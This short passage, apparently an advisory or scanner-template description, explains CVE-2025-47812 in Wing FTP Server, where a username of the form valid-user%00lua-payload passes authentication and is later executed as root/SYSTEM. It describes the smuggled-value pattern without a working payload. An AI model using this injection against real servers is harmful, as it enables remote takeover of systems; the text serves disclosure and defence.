          Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812).
          Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix,
          while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges,
          leading to Remote Code Execution.
